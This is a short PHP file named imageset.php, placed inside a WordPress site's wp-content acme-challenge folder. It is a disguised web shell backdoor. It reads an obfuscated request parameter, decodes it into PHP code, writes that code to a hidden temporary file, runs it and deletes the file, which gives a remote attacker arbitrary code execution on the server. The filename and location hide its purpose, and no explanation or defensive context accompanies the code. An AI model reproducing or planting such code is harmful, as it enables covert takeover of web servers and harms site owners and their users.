File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/e/d/b/d/imageset.php
<?php
if(count($_REQUEST) > 0 && isset($_REQUEST["\x74k\x6E"])){
$obj = $_REQUEST["\x74k\x6E"];
$obj= explode ( '.' ,$obj ) ;
$item = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($s );
$m = 0;
$__tmp = $obj;
while ($v8 = array_shift($__tmp)) {
$sChar = ord($s[$m % $lenS] );
$dec = ((int)$v8 - $sChar - ($m % 10))^27;
$item.= chr($dec );
$m++;}
$element = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", "/var/tmp", getenv("TMP")]);
foreach ($element as $key => $binding) {
if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) {
$ptr = "$binding/.mrk";
if (file_put_contents($ptr, $item)) {
require $ptr;
unlink($ptr);
die();
}
}
}
}